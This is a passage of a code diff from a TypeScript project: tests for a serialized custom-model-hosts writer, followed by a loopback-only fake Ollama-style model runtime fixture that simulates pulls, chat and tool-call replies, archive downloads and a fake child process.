const next = mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('b')], result: undefined }), dir);
|
||||
await expect(thrown).rejects.toThrow('boom');
|
||||
await next;
|
||||
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['a', 'b']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('customModelHostsWriteErrorResponse', () => {
|
||||
it('a refused write is 409 CONFLICT with the fix', () => {
|
||||
const response = customModelHostsWriteErrorResponse(
|
||||
new CustomModelHostsWriteRefusedError('the file is not a valid JSON list')
|
||||
);
|
||||
expect(response).toEqual({
|
||||
success: false,
|
||||
error: 'the file is not a valid JSON list',
|
||||
errorCode: 'CONFLICT',
|
||||
});
|
||||
});
|
||||
|
||||
it('any other failure stays OPERATION_FAILED', () => {
|
||||
expect(customModelHostsWriteErrorResponse(new Error('EACCES'))).toMatchObject({
|
||||
success: false,
|
||||
errorCode: 'OPERATION_FAILED',
|
||||
error: 'EACCES',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('every writer goes through the serialized writer', () => {
|
||||
const root = fileURLToPath(new URL('../', import.meta.url));
|
||||
|
||||
function sourceFiles(folder: string, out: string[] = []): string[] {
|
||||
for (const name of readdirSync(folder)) {
|
||||
const path = join(folder, name);
|
||||
if (statSync(path).isDirectory()) {
|
||||
if (name !== 'public' && name !== 'node_modules') sourceFiles(path, out);
|
||||
} else if (name.endsWith('.ts')) {
|
||||
out.push(path);
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/** The file without its comment lines: a comment may name the function it explains. */
|
||||
const code = (path: string): string =>
|
||||
readFileSync(path, 'utf8')
|
||||
.split('\n')
|
||||
.filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line))
|
||||
.join('\n');
|
||||
|
||||
it('no module of src/ calls writeCustomModelHosts(): the store itself only defines it', () => {
|
||||
const callers = sourceFiles(join(root, 'src'))
|
||||
.filter((path) => /\bwriteCustomModelHosts\s*\(/.test(code(path)))
|
||||
.map((path) => path.slice(root.length));
|
||||
expect(callers).toEqual(['src/custom-model-hosts.ts']);
|
||||
});
|
||||
|
||||
it('the endpoint routes and the sweep name the writer, five times', () => {
|
||||
const routes = code(join(root, 'src/web/routes/custom-model-routes.ts'));
|
||||
// create, update, delete, discover-models and the re-discovery sweep.
|
||||
expect(routes.match(/await mutateCustomModelHosts</g)).toHaveLength(5);
|
||||
expect(routes).not.toContain('writeCustomModelHosts');
|
||||
});
|
||||
});
|
||||
Vendored
+810
@@ -0,0 +1,810 @@
|
||||
/**
|
||||
* @fileoverview A fake model runtime for the local model tests: an in-process HTTP server on
|
||||
* a port the system picks, plus a fake child process that "is" the runtime, so a test starts
|
||||
* no real runtime, downloads no real model and binds no fixed port.
|
||||
*
|
||||
* Plain `node:http`, like test/fixtures/mock-openai-server.ts. Every request is captured
|
||||
* (`requests`: method, path, headers, parsed JSON body). Every answer has the shape the real
|
||||
* runtime (0.40.15) gave on 2026-11-06; where a shape was not captured, the comment at its
|
||||
* handler says so.
|
||||
*
|
||||
* What it answers:
|
||||
*
|
||||
* | Route | Answer |
|
||||
* |-----------------------------------|---------------------------------------------------------------------|
|
||||
* | `GET /` | `Ollama is running` |
|
||||
* | `GET /api/version` | `{"version":"0.40.15"}` |
|
||||
* | `GET /api/tags` | the model once it is installed (digest, format, runner) |
|
||||
* | `GET /api/ps` | the model once a chat loaded it (`size`, `size_vram`, `context_length`) |
|
||||
* | `POST /api/pull` | NDJSON progress, see `FakePullSwitches` |
|
||||
* | `DELETE /api/delete` | 200, or 404 for a model that is not installed |
|
||||
* | `GET /v1/models` | the model's id, or `data: null` when none is installed (as the real one) |
|
||||
* | `POST /v1/chat/completions` | a plain answer, or a tool call when the request carries `tools` |
|
||||
* | `GET /download/ollama-darwin.tgz` | a small real `.tgz` with Range support, see `FakeArchiveSwitches` |
|
||||
*
|
||||
* The switches (`fake.switches`, changeable between requests):
|
||||
* - `pull.fail`: `error-line` (the real `{"error":"max retries exceeded: ..."}` line),
|
||||
* `cut` (the socket is destroyed mid-stream) or `not-found`; `pull.failTimes` says how many
|
||||
* pulls fail before one succeeds; `pull.resumeFrom` and the fake's own memory of how far the
|
||||
* last pull got make the next pull's first line start there, as a resumed pull does.
|
||||
* - `pull.shape`: `mlx` (one line shape, what a Mac really gets) or `gguf` (one layer after
|
||||
* the other).
|
||||
* - `ps`: `sizeVram` below `size` (not all on the GPU), another `contextLength`, or
|
||||
* `loaded: false`.
|
||||
* - `chat`: `error` makes the chat that loads the model fail.
|
||||
* - `tool`: `call` (default), `none` (an answer without a tool call), `length` (the token
|
||||
* limit ended the answer), `bad-arguments` (a tool call whose arguments are not JSON).
|
||||
* - `archive`: cut the download after N bytes for the first M requests, ignore `Range`, or
|
||||
* answer another status.
|
||||
* - `spawn`: the fake child never listens, or exits at once.
|
||||
*
|
||||
* The fake child (`fake.spawn`, the shape of `RuntimeSupervisorDeps.spawn`): "starting" it
|
||||
* makes the fake listen on the port of `OLLAMA_HOST` from the environment it is given and
|
||||
* writes the runtime's start-up log to its stderr, including the line "inference compute"
|
||||
* with the device total. Killing it closes the listener and emits `exit`. So a supervisor
|
||||
* test reserves a port (`freeLoopbackPort()`), builds the fake with `createFakeOllama()`
|
||||
* (not listening yet) and injects `fake.spawn`.
|
||||
*
|
||||
* Port: none fixed. `startFakeOllama()` listens on 0 and reports `port`.
|
||||
*/
|
||||
|
||||
import { createHash } from 'node:crypto';
|
||||
import { EventEmitter } from 'node:events';
|
||||
import { createServer, type IncomingMessage, type Server, type ServerResponse } from 'node:http';
|
||||
import { createServer as createNetServer, type AddressInfo, type Socket } from 'node:net';
|
||||
import { PassThrough } from 'node:stream';
|
||||
import { gzipSync } from 'node:zlib';
|
||||
import type { ChildProcess, SpawnOptions } from 'node:child_process';
|
||||
import type { LocalModelRuntimePin } from '../../src/types.js';
|
||||
|
||||
// ---------- Real log lines ----------
|
||||
|
||||
/**
|
||||
* The runtime's line with the device total, VERBATIM from the 16 GB Mac mini (Apple M4),
|
||||
* 2026-11-06. `parseInferenceComputeTotal()` must read 11.8 GiB from it.
|
||||
*/
|
||||
export const REAL_INFERENCE_COMPUTE_LINE_MAC_MINI =
|
||||
'time=2026-11-06T13:21:49.885+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M4" libdirs="" driver=0.0 pci_id="" type=iGPU total="11.8 GiB" available="11.8 GiB"';
|
||||
|
||||
/**
|
||||
* The same line for the 48 GB MacBook (Apple M5 Pro), RECONSTRUCTED: the measurement notes of
|
||||
* 2026-11-06 quote only `total="37.4 GiB" available="37.4 GiB"` from it, so the rest is the
|
||||
* Mac mini's line with the chip name and a time filled in (hence no `REAL_` in the name).
|
||||
* `parseInferenceComputeTotal()` must read 40,157,944,217 bytes from it.
|
||||
*/
|
||||
export const INFERENCE_COMPUTE_LINE_MACBOOK =
|
||||
'time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="37.4 GiB" available="37.4 GiB"';
|
||||
|
||||
/** 37.4 GiB in bytes, rounded down: what the MacBook line stands for. */
|
||||
export const MACBOOK_MEASURED_TOTAL_BYTES = 40_157_944_217;
|
||||
|
||||
/**
|
||||
* The line that FOLLOWS it and also carries the total, under another key. Verbatim from the
|
||||
* Mac mini. A parser of the budget must not need it and must not be confused by it.
|
||||
*/
|
||||
export const REAL_VRAM_DEFAULT_CONTEXT_LINE_MAC_MINI =
|
||||
'time=2026-11-06T13:21:49.885+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="11.8 GiB" default_num_ctx=4096';
|
||||
|
||||
/**
|
||||
* What the runtime writes when it starts, in order, with `total` as the device total (the
|
||||
* text inside the quotes, such as '37.4 GiB'). The shapes are the Mac mini's.
|
||||
*/
|
||||
export function fakeRuntimeLog(total = '37.4 GiB', port = 11435): string[] {
|
||||
return [
|
||||
`time=2026-11-06T15:04:12.210+01:00 level=INFO source=routes.go:2536 msg="Listening on 127.0.0.1:${port} (version 0.40.15)"`,
|
||||
'time=2026-11-06T15:04:12.211+01:00 level=INFO source=runner.go:60 msg="discovering available GPUs..."',
|
||||
`time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="${total}" available="${total}"`,
|
||||
`time=2026-11-06T15:04:12.371+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="${total}" default_num_ctx=32768`,
|
||||
];
|
||||
}
|
||||
|
||||
/** The error line of a pull whose download kept failing. Verbatim from the Mac mini. */
|
||||
export const REAL_PULL_ERROR_LINE = '{"error":"max retries exceeded: local error: tls: bad record MAC"}';
|
||||
|
||||
// ---------- Options and switches ----------
|
||||
|
||||
/** The model the fake serves. Default: what the MacBook really got for `qwen3.6:35b-a3b`. */
|
||||
export interface FakeOllamaModel {
|
||||
id: string;
|
||||
/** The pull's total and the size `/api/tags` reports. */
|
||||
bytes: number;
|
||||
/** As `/api/tags` reports it: lowercase hex, no prefix. */
|
||||
digest: string;
|
||||
format: string;
|
||||
runner: string;
|
||||
quantization: string;
|
||||
capabilities: string[];
|
||||
}
|
||||
|
||||
export const DEFAULT_FAKE_MODEL: FakeOllamaModel = {
|
||||
id: 'qwen3.6:35b-a3b',
|
||||
bytes: 23_105_798_956,
|
||||
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
|
||||
format: 'safetensors',
|
||||
runner: 'mlx',
|
||||
quantization: 'nvfp4',
|
||||
capabilities: ['completion', 'vision', 'tools', 'thinking'],
|
||||
};
|
||||
|
||||
export interface FakePullSwitches {
|
||||
/**
|
||||
* `mlx`: every progress line is `{"status":"pulling model","digest":"sha256:model",...}`,
|
||||
* what a Mac gets for an MLX build. `gguf`: one layer after the other, each
|
||||
* `{"status":"pulling <12 hex>","digest":"sha256:<64 hex>",...}`, the first lines of a layer
|
||||
* without `completed`, then `verifying sha256 digest`.
|
||||
*/
|
||||
shape: 'mlx' | 'gguf';
|
||||
/** How many progress lines the large layer of one full pull is spread over. Default 20. */
|
||||
progressLines: number;
|
||||
/** Milliseconds between two lines. Default 0. Raise it to abort or cancel mid-stream. */
|
||||
lineDelayMs: number;
|
||||
/**
|
||||
* How a pull goes wrong.
|
||||
* - `none`: it succeeds.
|
||||
* - `error-line`: after `failAfterLines` progress lines, the real error line, then the body ends.
|
||||
* - `cut`: after `failAfterLines` progress lines the socket is destroyed (no `success`, no error).
|
||||
* - `not-found`: `pulling manifest`, then an error line saying the manifest does not exist.
|
||||
*/
|
||||
fail: 'none' | 'error-line' | 'cut' | 'not-found';
|
||||
/** Progress lines sent before the failure. Default 10. */
|
||||
failAfterLines: number;
|
||||
/** How many pulls fail before one succeeds. Default `Infinity`: every pull fails. */
|
||||
failTimes: number;
|
||||
/** Bytes the first pull starts at, as if an earlier run had left partial blobs. Default 0. */
|
||||
resumeFrom: number;
|
||||
}
|
||||
|
||||
export interface FakePsSwitches {
|
||||
/** `size`. Default: the model's bytes plus 100 MB. */
|
||||
size?: number;
|
||||
/** `size_vram`. Default: equal to `size` (all on the GPU). Set it lower for "does not fit". */
|
||||
sizeVram?: number;
|
||||
/** `context_length`. Default: `FakeOllamaOptions.contextLength`. */
|
||||
contextLength?: number;
|
||||
/** False: `/api/ps` stays empty even after a chat. */
|
||||
loaded?: boolean;
|
||||
}
|
||||
|
||||
export interface FakeArchiveSwitches {
|
||||
/** Destroy the socket after this many bytes of the body were sent. */
|
||||
cutAfterBytes?: number;
|
||||
/** For how many requests the cut applies. Default 1. */
|
||||
cutTimes: number;
|
||||
/** True: answer 200 with the whole body even to a `Range` request. */
|
||||
ignoreRange: boolean;
|
||||
/** Answer this status with an empty body instead (404, 503). */
|
||||
status?: number;
|
||||
}
|
||||
|
||||
export interface FakeSpawnSwitches {
|
||||
/** True: the child starts and writes its log but never listens (the supervisor's `runtime-start-failed`). */
|
||||
neverListens: boolean;
|
||||
/** A number: the child exits with this code right after it was started. */
|
||||
exitsAtOnce?: number;
|
||||
/** The device total the child logs (the text inside the quotes). Default '37.4 GiB'. */
|
||||
total: string;
|
||||
/** False: the "inference compute" line is left out of the log. */
|
||||
logsBudget: boolean;
|
||||
}
|
||||
|
||||
export interface FakeOllamaSwitches {
|
||||
pull: FakePullSwitches;
|
||||
ps: FakePsSwitches;
|
||||
/** `error`: `POST /v1/chat/completions` WITHOUT tools answers 500. */
|
||||
chat: 'ok' | 'error';
|
||||
/**
|
||||
* What `POST /v1/chat/completions` WITH tools answers.
|
||||
* - `call`: one tool call with JSON arguments, `finish_reason: "tool_calls"`.
|
||||
* - `none`: a text answer, `finish_reason: "stop"`.
|
||||
* - `length`: an empty answer with a `reasoning` text, `finish_reason: "length"`.
|
||||
* - `bad-arguments`: a tool call whose `arguments` do not parse.
|
||||
*/
|
||||
tool: 'call' | 'none' | 'length' | 'bad-arguments';
|
||||
archive: FakeArchiveSwitches;
|
||||
spawn: FakeSpawnSwitches;
|
||||
}
|
||||
|
||||
export interface FakeOllamaOptions {
|
||||
/** What `/api/version` answers. Default '0.40.15'. */
|
||||
version?: string;
|
||||
model?: Partial<FakeOllamaModel>;
|
||||
/** True: the model is installed from the start. Default false: it appears after a pull that succeeded. */
|
||||
installed?: boolean;
|
||||
/** The context length the runtime "was started with": what `/api/ps` reports. Default 131072. */
|
||||
contextLength?: number;
|
||||
pull?: Partial<FakePullSwitches>;
|
||||
ps?: FakePsSwitches;
|
||||
chat?: FakeOllamaSwitches['chat'];
|
||||
tool?: FakeOllamaSwitches['tool'];
|
||||
archive?: Partial<FakeArchiveSwitches>;
|
||||
spawn?: Partial<FakeSpawnSwitches>;
|
||||
/** The files of the fake runtime archive, name to content. Default: one executable `ollama` script. */
|
||||
archiveFiles?: Record<string, string>;
|
||||
}
|
||||
|
||||
export interface CapturedRequest {
|
||||
method: string;
|
||||
path: string;
|
||||
headers: Record<string, string | string[] | undefined>;
|
||||
/** The parsed JSON body, the raw text when it is not JSON, `undefined` when there is none. */
|
||||
body: unknown;
|
||||
}
|
||||
|
||||
/** The fake child process: enough of `ChildProcess` for a supervisor. */
|
||||
export class FakeRuntimeChild extends EventEmitter {
|
||||
readonly stdout = new PassThrough();
|
||||
readonly stderr = new PassThrough();
|
||||
readonly stdin = null;
|
||||
exitCode: number | null = null;
|
||||
signalCode: NodeJS.Signals | null = null;
|
||||
killed = false;
|
||||
/** Every signal `kill()` was called with. */
|
||||
readonly signals: (NodeJS.Signals | number)[] = [];
|
||||
|
||||
constructor(
|
||||
/** Above every real pid (Linux allows at most 4194304), so a stray `process.kill(pid)` hits nothing. */
|
||||
readonly pid: number,
|
||||
readonly command: string,
|
||||
readonly args: readonly string[],
|
||||
/** The environment the child was started with: what `runtimeEnv()` built. */
|
||||
readonly env: NodeJS.ProcessEnv,
|
||||
private readonly onGone: () => Promise<void>
|
||||
) {
|
||||
super();
|
||||
}
|
||||
|
||||
/** As `ChildProcess.kill()`: the listener closes and `exit` then `close` are emitted. */
|
||||
kill(signal: NodeJS.Signals | number = 'SIGTERM'): boolean {
|
||||
this.signals.push(signal);
|
||||
if (this.exitCode !== null || this.signalCode !== null) return false;
|
||||
this.killed = true;
|
||||
void this.finish(null, typeof signal === 'string' ? signal : 'SIGTERM');
|
||||
return true;
|
||||
}
|
||||
|
||||
/** The child dies by itself with `code`, as a crash would. */
|
||||
crash(code = 1): void {
|
||||
if (this.exitCode !== null || this.signalCode !== null) return;
|
||||
void this.finish(code, null);
|
||||
}
|
||||
|
||||
private async finish(code: number | null, signal: NodeJS.Signals | null): Promise<void> {
|
||||
this.exitCode = code;
|
||||
this.signalCode = signal;
|
||||
await this.onGone();
|
||||
this.stdout.end();
|
||||
this.stderr.end();
|
||||
this.emit('exit', code, signal);
|
||||
this.emit('close', code, signal);
|
||||
}
|
||||
}
|
||||
|
||||
export interface FakeOllama {
|
||||
/** `http://127.0.0.1:<port>`. Empty while the fake does not listen. */
|
||||
readonly baseUrl: string;
|
||||
/** 0 while the fake does not listen. */
|
||||
readonly port: number;
|
||||
readonly listening: boolean;
|
||||
/** Every request so far, oldest first. */
|
||||
readonly requests: CapturedRequest[];
|
||||
/** Change these between requests. */
|
||||
readonly switches: FakeOllamaSwitches;
|
||||
readonly model: FakeOllamaModel;
|
||||
/** What the fake remembers. */
|
||||
readonly state: {
|
||||
/** The model is in `/api/tags` and `/v1/models`. */
|
||||
installed: boolean;
|
||||
/** A chat loaded the model: it is in `/api/ps`. */
|
||||
loaded: boolean;
|
||||
/** How far the pulls got: what the next pull's first progress line starts at. */
|
||||
completedBytes: number;
|
||||
/** How many `POST /api/pull` arrived. */
|
||||
pulls: number;
|
||||
/** How many `GET` of the archive arrived. */
|
||||
archiveRequests: number;
|
||||
/** Every child `spawn` made, oldest first. */
|
||||
children: FakeRuntimeChild[];
|
||||
};
|
||||
/** The fake runtime archive: a real gzipped tar. */
|
||||
readonly archive: { readonly body: Buffer; readonly size: number; readonly sha256: string };
|
||||
/** A pin that points at this fake's archive (valid while it listens). */
|
||||
pin(): LocalModelRuntimePin;
|
||||
/** Starts listening on 127.0.0.1. Default port 0: the system picks one. */
|
||||
listen(port?: number): Promise<void>;
|
||||
/** Stops listening and drops every open connection. Safe to call twice. */
|
||||
close(): Promise<void>;
|
||||
/**
|
||||
* A stand-in for `child_process.spawn` that "starts the runtime": the fake listens on the
|
||||
* port of `options.env.OLLAMA_HOST` and the child logs the start-up lines. See the file header.
|
||||
*/
|
||||
spawn(command: string, args: readonly string[], options: SpawnOptions): ChildProcess;
|
||||
}
|
||||
|
||||
// ---------- Helpers ----------
|
||||
|
||||
/** A loopback port nothing listens on right now: bound on 0, read, closed again. */
|
||||
export async function freeLoopbackPort(): Promise<number> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const probe = createNetServer();
|
||||
probe.once('error', reject);
|
||||
probe.listen(0, '127.0.0.1', () => {
|
||||
const { port } = probe.address() as AddressInfo;
|
||||
probe.close(() => resolve(port));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/** One file as a tar entry: a 512-byte ustar header, the content, zero padding to 512. */
|
||||
function tarEntry(name: string, content: Buffer, mode: number): Buffer {
|
||||
const header = Buffer.alloc(512);
|
||||
header.write(name, 0, 100, 'utf8');
|
||||
header.write(mode.toString(8).padStart(7, '0') + '\0', 100, 8, 'ascii');
|
||||
header.write('0000000\0', 108, 8, 'ascii');
|
||||
header.write('0000000\0', 116, 8, 'ascii');
|
||||
header.write(content.length.toString(8).padStart(11, '0') + '\0', 124, 12, 'ascii');
|
||||
header.write('00000000000\0', 136, 12, 'ascii');
|
||||
header.write(' ', 148, 8, 'ascii');
|
||||
header.write('0', 156, 1, 'ascii');
|
||||
header.write('ustar\0', 257, 6, 'ascii');
|
||||
header.write('00', 263, 2, 'ascii');
|
||||
let sum = 0;
|
||||
for (const byte of header) sum += byte;
|
||||
header.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii');
|
||||
const padding = Buffer.alloc((512 - (content.length % 512)) % 512);
|
||||
return Buffer.concat([header, content, padding]);
|
||||
}
|
||||
|
||||
/** A gzipped tar of `files`, which `/usr/bin/tar -xzf` unpacks. A file named `ollama` is executable. */
|
||||
export function buildFakeArchive(files: Record<string, string>): Buffer {
|
||||
const entries = Object.entries(files).map(([name, text]) =>
|
||||
tarEntry(name, Buffer.from(text, 'utf8'), name === 'ollama' ? 0o755 : 0o644)
|
||||
);
|
||||
return gzipSync(Buffer.concat([...entries, Buffer.alloc(1024)]));
|
||||
}
|
||||
|
||||
function readBody(req: IncomingMessage): Promise<unknown> {
|
||||
return new Promise((resolve) => {
|
||||
const chunks: Buffer[] = [];
|
||||
req.on('data', (chunk: Buffer) => chunks.push(chunk));
|
||||
req.on('end', () => {
|
||||
const raw = Buffer.concat(chunks).toString('utf8');
|
||||
if (!raw) return resolve(undefined);
|
||||
try {
|
||||
resolve(JSON.parse(raw));
|
||||
} catch {
|
||||
resolve(raw);
|
||||
}
|
||||
});
|
||||
req.on('error', () => resolve(undefined));
|
||||
});
|
||||
}
|
||||
|
||||
function sendJson(res: ServerResponse, status: number, body: unknown): void {
|
||||
res.writeHead(status, { 'content-type': 'application/json; charset=utf-8' });
|
||||
res.end(JSON.stringify(body));
|
||||
}
|
||||
|
||||
const sleep = (ms: number): Promise<void> => new Promise((resolve) => setTimeout(resolve, ms));
|
||||
|
||||
/** A value for one tool parameter, by its JSON schema type. */
|
||||
function placeholderFor(schema: unknown): unknown {
|
||||
const type = (schema as { type?: unknown } | undefined)?.type;
|
||||
if (type === 'number' || type === 'integer') return 1;
|
||||
if (type === 'boolean') return true;
|
||||
if (type === 'array') return [];
|
||||
if (type === 'object') return {};
|
||||
return 'README.md';
|
||||
}
|
||||
|
||||
/** The small layers a GGUF pull ends with: the sizes of the real `qwen2.5:0.5b` pull. */
|
||||
const GGUF_SMALL_LAYERS = [68, 1482, 11343, 490];
|
||||
|
||||
// ---------- The fake ----------
|
||||
|
||||
/** A fake that does not listen yet. For a supervisor test, which injects `fake.spawn`. */
|
||||
export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
|
||||
const version = options.version ?? '0.40.15';
|
||||
const model: FakeOllamaModel = { ...DEFAULT_FAKE_MODEL, ...options.model };
|
||||
const contextLength = options.contextLength ?? 131072;
|
||||
const switches: FakeOllamaSwitches = {
|
||||
pull: {
|
||||
shape: 'mlx',
|
||||
progressLines: 20,
|
||||
lineDelayMs: 0,
|
||||
fail: 'none',
|
||||
failAfterLines: 10,
|
||||
failTimes: Infinity,
|
||||
resumeFrom: 0,
|
||||
...options.pull,
|
||||
},
|
||||
ps: { ...options.ps },
|
||||
chat: options.chat ?? 'ok',
|
||||
tool: options.tool ?? 'call',
|
||||
archive: { cutTimes: 1, ignoreRange: false, ...options.archive },
|
||||
spawn: { neverListens: false, total: '37.4 GiB', logsBudget: true, ...options.spawn },
|
||||
};
|
||||
const archiveBody = buildFakeArchive(options.archiveFiles ?? { ollama: '#!/bin/sh\necho "fake runtime"\n' });
|
||||
const archive = {
|
||||
body: archiveBody,
|
||||
size: archiveBody.length,
|
||||
sha256: createHash('sha256').update(archiveBody).digest('hex'),
|
||||
};
|
||||
const state: FakeOllama['state'] = {
|
||||
installed: options.installed ?? false,
|
||||
loaded: false,
|
||||
completedBytes: 0,
|
||||
pulls: 0,
|
||||
archiveRequests: 0,
|
||||
children: [],
|
||||
};
|
||||
const requests: CapturedRequest[] = [];
|
||||
const sockets = new Set<Socket>();
|
||||
let server: Server | undefined;
|
||||
let port = 0;
|
||||
let failedPulls = 0;
|
||||
let archiveCuts = 0;
|
||||
let nextPid = 9_000_001;
|
||||
let chatCounter = 100;
|
||||
|
||||
const modelDetails = (): Record<string, unknown> => ({
|
||||
parent_model: '',
|
||||
format: model.format,
|
||||
family: 'qwen35',
|
||||
families: ['qwen35'],
|
||||
parameter_size: '35.9B',
|
||||
quantization_level: model.quantization,
|
||||
});
|
||||
|
||||
async function handlePull(res: ServerResponse, body: unknown): Promise<void> {
|
||||
state.pulls += 1;
|
||||
const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {};
|
||||
const askedId = typeof asked.model === 'string' ? asked.model : asked.name;
|
||||
const { pull } = switches;
|
||||
res.writeHead(200, { 'content-type': 'application/x-ndjson' });
|
||||
let gone = false;
|
||||
res.on('close', () => {
|
||||
gone = true;
|
||||
});
|
||||
// Each line is handed to the system before the next step, so a cut that follows really
|
||||
// arrives AFTER the lines before it, as on a real connection.
|
||||
const line = async (value: unknown): Promise<boolean> => {
|
||||
if (gone) return false;
|
||||
await new Promise<void>((resolve) => res.write(JSON.stringify(value) + '\n', () => resolve()));
|
||||
if (pull.lineDelayMs > 0) await sleep(pull.lineDelayMs);
|
||||
return !gone;
|
||||
};
|
||||
|
||||
if (!(await line({ status: 'pulling manifest' }))) return;
|
||||
// Not captured on a Mac: the wording of the runtime for a tag the registry does not have.
|
||||
if (pull.fail === 'not-found' || askedId !== model.id) {
|
||||
await line({ error: 'pull model manifest: file does not exist' });
|
||||
res.end();
|
||||
return;
|
||||
}
|
||||
|
||||
const failing = pull.fail !== 'none' && failedPulls < pull.failTimes;
|
||||
const smallTotal = GGUF_SMALL_LAYERS.reduce((sum, size) => sum + size, 0);
|
||||
const largeTotal = pull.shape === 'gguf' ? model.bytes - smallTotal : model.bytes;
|
||||
const largeDigest = pull.shape === 'gguf' ? `sha256:${model.digest}` : 'sha256:model';
|
||||
const largeStatus = pull.shape === 'gguf' ? `pulling ${model.digest.slice(0, 12)}` : 'pulling model';
|
||||
const start = Math.min(Math.max(state.completedBytes, pull.resumeFrom), largeTotal);
|
||||
const lines = Math.max(1, pull.progressLines);
|
||||
|
||||
// A GGUF layer announces itself without `completed` first.
|
||||
if (pull.shape === 'gguf' && start === 0) {
|
||||
if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal }))) return;
|
||||
}
|
||||
for (let i = 0; i <= lines; i++) {
|
||||
if (failing && i === pull.failAfterLines) {
|
||||
failedPulls += 1;
|
||||
if (pull.fail === 'error-line') {
|
||||
res.write(REAL_PULL_ERROR_LINE + '\n');
|
||||
res.end();
|
||||
} else {
|
||||
res.socket?.destroy();
|
||||
}
|
||||
return;
|
||||
}
|
||||
const completed = i === lines ? largeTotal : start + Math.floor(((largeTotal - start) * i) / lines);
|
||||
if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal, completed }))) return;
|
||||
state.completedBytes = completed;
|
||||
}
|
||||
|
||||
if (pull.shape === 'gguf') {
|
||||
for (const [index, size] of GGUF_SMALL_LAYERS.entries()) {
|
||||
const hex = createHash('sha256').update(`${model.id}:${index}`).digest('hex');
|
||||
const layer = { status: `pulling ${hex.slice(0, 12)}`, digest: `sha256:${hex}`, total: size };
|
||||
if (!(await line(layer))) return;
|
||||
if (!(await line({ ...layer, completed: size }))) return;
|
||||
}
|
||||
if (!(await line({ status: 'verifying sha256 digest' }))) return;
|
||||
}
|
||||
if (!(await line({ status: 'writing manifest' }))) return;
|
||||
state.installed = true;
|
||||
state.completedBytes = model.bytes;
|
||||
await line({ status: 'success' });
|
||||
res.end();
|
||||
}
|
||||
|
||||
function handleChat(res: ServerResponse, body: unknown): void {
|
||||
const request = (body as { model?: unknown; tools?: unknown } | undefined) ?? {};
|
||||
if (!state.installed || request.model !== model.id) {
|
||||
sendJson(res, 404, {
|
||||
error: {
|
||||
message: `model '${String(request.model)}' not found`,
|
||||
type: 'not_found_error',
|
||||
param: null,
|
||||
code: null,
|
||||
},
|
||||
});
|
||||
return;
|
||||
}
|
||||
const tools = Array.isArray(request.tools) ? request.tools : [];
|
||||
const envelope = (message: Record<string, unknown>, finishReason: string): Record<string, unknown> => ({
|
||||
id: `chatcmpl-${chatCounter++}`,
|
||||
object: 'chat.completion',
|
||||
created: 1793968038,
|
||||
model: model.id,
|
||||
system_fingerprint: 'fp_ollama',
|
||||
choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }],
|
||||
usage: {
|
||||
prompt_tokens: 36,
|
||||
prompt_tokens_details: { cached_tokens: 0 },
|
||||
completion_tokens: 2,
|
||||
total_tokens: 38,
|
||||
},
|
||||
});
|
||||
|
||||
if (tools.length === 0) {
|
||||
if (switches.chat === 'error') {
|
||||
// Not captured: the runtime's 500 for a model that fails to load.
|
||||
sendJson(res, 500, {
|
||||
error: { message: 'llm server error: out of memory', type: 'api_error', param: null, code: null },
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (switches.ps.loaded !== false) state.loaded = true;
|
||||
sendJson(res, 200, envelope({ content: 'pong' }, 'stop'));
|
||||
return;
|
||||
}
|
||||
|
||||
if (switches.ps.loaded !== false) state.loaded = true;
|
||||
const fn = (tools[0] as { function?: { name?: unknown; parameters?: { properties?: unknown } } }).function ?? {};
|
||||
const name = typeof fn.name === 'string' ? fn.name : 'tool';
|
||||
const properties = (fn.parameters?.properties ?? {}) as Record<string, unknown>;
|
||||
const args = Object.fromEntries(Object.entries(properties).map(([key, schema]) => [key, placeholderFor(schema)]));
|
||||
const toolCall = (argumentsText: string): Record<string, unknown> => ({
|
||||
content: '',
|
||||
tool_calls: [{ id: 'call_ag8rmzix', index: 0, type: 'function', function: { name, arguments: argumentsText } }],
|
||||
});
|
||||
switch (switches.tool) {
|
||||
case 'call':
|
||||
sendJson(res, 200, envelope(toolCall(JSON.stringify(args)), 'tool_calls'));
|
||||
return;
|
||||
case 'bad-arguments':
|
||||
sendJson(res, 200, envelope(toolCall('{"path": '), 'tool_calls'));
|
||||
return;
|
||||
case 'length':
|
||||
sendJson(
|
||||
res,
|
||||
200,
|
||||
envelope({ content: '', reasoning: 'The user wants me to read a file. I should call the tool' }, 'length')
|
||||
);
|
||||
return;
|
||||
case 'none':
|
||||
sendJson(res, 200, envelope({ content: 'I would read the file, but I cannot.' }, 'stop'));
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
function handleArchive(req: IncomingMessage, res: ServerResponse): void {
|
||||
state.archiveRequests += 1;
|
||||
const { archive: sw } = switches;
|
||||
if (sw.status !== undefined) {
|
||||
res.writeHead(sw.status);
|
||||
res.end();
|
||||
return;
|
||||
}
|
||||
let from = 0;
|
||||
const range = /^bytes=(\d+)-$/.exec(String(req.headers.range ?? ''));
|
||||
if (range && !sw.ignoreRange) {
|
||||
from = Number(range[1]);
|
||||
if (from >= archive.size) {
|
||||
